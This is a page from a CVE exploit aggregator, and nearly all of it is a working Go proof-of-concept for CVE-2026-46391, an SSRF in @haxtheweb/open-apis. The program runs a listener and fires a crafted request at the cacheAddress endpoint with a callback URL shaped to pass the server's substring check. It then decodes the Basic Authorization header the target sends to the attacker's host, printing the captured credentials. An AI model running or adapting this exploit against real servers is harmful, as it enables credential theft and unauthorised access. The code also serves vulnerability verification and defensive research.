5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / main.go GO
package main

import (
	"context"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"net"
	"net/http"
	"net/url"
	"os"
	"sort"
	"strconv"
	"strings"
	"time"
)

const (
	// ssrfPath is appended to the callback URL so the target's substring check triggers.
	ssrfPath = "/.aanda.psu.edu"

	// apiPath is the cacheAddress endpoint path, appended to the -u/--url web root.
	apiPath = "/api/services/website/cacheAddress"
)

func main() {
	fmt.Print("\n[***] CVE-2026-46391 - Credential Exposure via SSRF in @haxtheweb/open-apis [***]\n")
	fmt.Print("  [+] Built (with love) by @bradyjmcl [+]\n\n")

	var targetHost, listenerHost, port string
	var timeout int
	var verbose bool

	flag.StringVar(&targetHost, "u", "", "")
	flag.StringVar(&targetHost, "url", "", "")
	flag.StringVar(&listenerHost, "l", "", "")
	flag.StringVar(&listenerHost, "listener", "", "")
	flag.StringVar(&port, "p", "8080", "")
	flag.StringVar(&port, "port", "8080", "")
	flag.IntVar(&timeout, "t", 30, "")
	flag.IntVar(&timeout, "timeout", 30, "")
	flag.BoolVar(&verbose, "v", false, "")
	flag.BoolVar(&verbose, "verbose", false, "")

	flag.Usage = func() {
		out := flag.CommandLine.Output()
		fmt.Fprintf(out, "Usage: %s -u <web-root> -l <listener> [-p port] [-t seconds] [-v]\n\n", os.Args[0])
		fmt.Fprintf(out, "Options:\n")
		fmt.Fprintf(out, "  %-24s%s\n", "-h, --help", "show this help message and exit")
		fmt.Fprintf(out, "  %-24s%s\n", "-u, --url string", "target web root (e.g. http://10.10.0.80:3000)")
		fmt.Fprintf(out, "  %-24s%s\n", "-l, --listener string", "IP/hostname to listen on (e.g. 192.168.1.10 or http://192.168.1.10)")
		fmt.Fprintf(out, "  %-24s%s\n", "", "or full URL including port for tunnels/proxies (e.g. https://your-uuid.trycloudflare.com)")
		fmt.Fprintf(out, "  %-24s%s\n", "-p, --port int", "local port to listen on (default 8080)")
		fmt.Fprintf(out, "  %-24s%s\n", "-t, --timeout int", "seconds to wait for callback (default 30)")
		fmt.Fprintf(out, "  %-24s%s\n", "-v, --verbose", "print headers and body of every inbound request")
	}

	flag.Parse()

	if targetHost == "" || listenerHost == "" {
		flag.Usage()
		os.Exit(1)
	}
	portNum, err := strconv.Atoi(port)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Invalid value %q for -p/--port: must be an integer (e.g. -p 9090)\n", port)
		os.Exit(1)
	}
	if portNum < 1 || portNum > 65535 {
		fmt.Fprintf(os.Stderr, "[-] Invalid port %d: must be between 1 and 65535\n", portNum)
		os.Exit(1)
	}
	if timeout < 1 {
		fmt.Fprintf(os.Stderr, "[-] Invalid timeout %d: must be at least 1 second\n", timeout)
		os.Exit(1)
	}

	done := make(chan string, 1)

	ln, server, err := startListener(port, verbose, done)
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Failed to bind :%s: %v\n", port, err)
		os.Exit(1)
	}
	defer shutdown(server)
	fmt.Printf("[*] Listener ready on :%s\n", port)

	go func() {
		if err := server.Serve(ln); err != nil && err != http.ErrServerClosed {
			fmt.Fprintf(os.Stderr, "[-] Server error: %v\n", err)
		}
	}()

	status, err := fireTrigger(targetHost, listenerHost, port)
	triggerOK := err == nil
	if err != nil {
		fmt.Fprintf(os.Stderr, "[-] Trigger request failed: %v\n", err)
	} else {
		fmt.Printf("[i] Target responded with status %d\n", status)
	}

	if triggerOK {
		fmt.Printf("[*] Waiting up to %ds for callback...\n", timeout)
	} else {
		fmt.Printf("[*] Waiting up to %ds for callback (trigger failed - unlikely to arrive)...\n", timeout)
	}
	select {
	case creds := <-done:
		fmt.Printf("\n[!] CAPTURED: %s\n", creds)
	case <-time.After(time.Duration(timeout) * time.Second):
		fmt.Println("[-] Timed out - no callback received")
		fmt.Println("    Check: is your host reachable from the target server?")
		fmt.Println("    Check: did the q param reach the credential branch?")
	}
}

func startListener(port string, verbose bool, done chan string) (net.Listener, *http.Server, error) {
	ln, err := net.Listen("tcp", ":"+port)
	if err != nil {
		return nil, nil, err
	}
	mux := http.NewServeMux()
	mux.HandleFunc("/", callbackHandler(verbose, done))
	return ln, &http.Server{
		Handler:           mux,
		ReadTimeout:       10 * time.Second,
		ReadHeaderTimeout: 5 * time.Second,
		WriteTimeout:      10 * time.Second,
		MaxHeaderBytes:    8 << 10,
	}, nil
}

func callbackHandler(verbose bool, done chan string) http.HandlerFunc {
	return func(w http.ResponseWriter, r *http.Request) {
		fmt.Printf("\n[i] Request from %s\n", r.RemoteAddr)
		fmt.Printf("    Path: %s\n", r.URL.String())
		if verbose {
			names := make([]string, 0, len(r.Header))
			for name := range r.Header {
				names = append(names, name)
			}
			sort.Strings(names)
			for _, name := range names {
				for _, v := range r.Header[name] {
					fmt.Printf("    Header: %s: %s\n", name, v)
				}
			}
			body, _ := io.ReadAll(io.LimitReader(r.Body, 4096))
			if len(body) > 0 {
				fmt.Printf("    Body: %s\n", body)
			}
		}

		if r.URL.Path != ssrfPath {
			http.NotFound(w, r)
			return
		}

		creds := decodeAuth(r.Header.Get("Authorization"))
		if creds != "" {
			select {
			case done <- creds:
			default:
				fmt.Println("[i] Duplicate callback - credentials discarded")
			}
		}

		w.Header().Set("Content-Type", "text/plain")
		w.WriteHeader(http.StatusOK)
		fmt.Fprintln(w, "ok")
	}
}

func decodeAuth(header string) string {
	if header == "" {
		fmt.Println("[-] No Authorization header - substring check may not have triggered")
		return ""
	}
	if !strings.HasPrefix(header, "Basic ") {
		fmt.Printf("[!] Authorization (non-Basic): %s\n", header)
		return header
	}
	payload := strings.TrimRight(strings.TrimPrefix(header, "Basic "), "= ")
	decoded, err := base64.RawStdEncoding.DecodeString(payload)
	if err != nil {
		fmt.Printf("[-] Failed to decode: %v\n", err)
		return ""
	}
	return string(decoded)
}

func fireTrigger(target, host, port string) (int, error) {
	endpoint := strings.TrimSuffix(target, "/") + apiPath
	trigger := fmt.Sprintf("%s?q=%s", endpoint, url.QueryEscape(buildCallbackURL(host, port)))
	fmt.Printf("[*] Triggering SSRF: %s\n", trigger)

	client := &http.Client{Timeout: 15 * time.Second}
	resp, err := client.Get(trigger) //nolint:gosec
	if err != nil {
		return 0, err
	}
	defer resp.Body.Close()
	io.Copy(io.Discard, resp.Body) //nolint:errcheck
	return resp.StatusCode, nil
}

func buildCallbackURL(host, port string) string {
	if !strings.HasPrefix(host, "http://") && !strings.HasPrefix(host, "https://") {
		h := host
		if strings.HasPrefix(h, "[") && strings.HasSuffix(h, "]") {
			h = h[1 : len(h)-1]
		}
		return fmt.Sprintf("http://%s%s", net.JoinHostPort(h, port), ssrfPath)
	}

	u, err := url.Parse(host)
	if err != nil {
		return strings.TrimSuffix(host, "/") + ssrfPath
	}
	if u.Port() != "" {
		return strings.TrimSuffix(host, "/") + ssrfPath
	}
	if u.Scheme == "https" {
		return strings.TrimSuffix(u.String(), "/") + ssrfPath
	}
	u.Host = net.JoinHostPort(u.Hostname(), port)
	return strings.TrimSuffix(u.String(), "/") + ssrfPath
}

func shutdown(server *http.Server) {
	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	server.Shutdown(ctx) //nolint:errcheck
}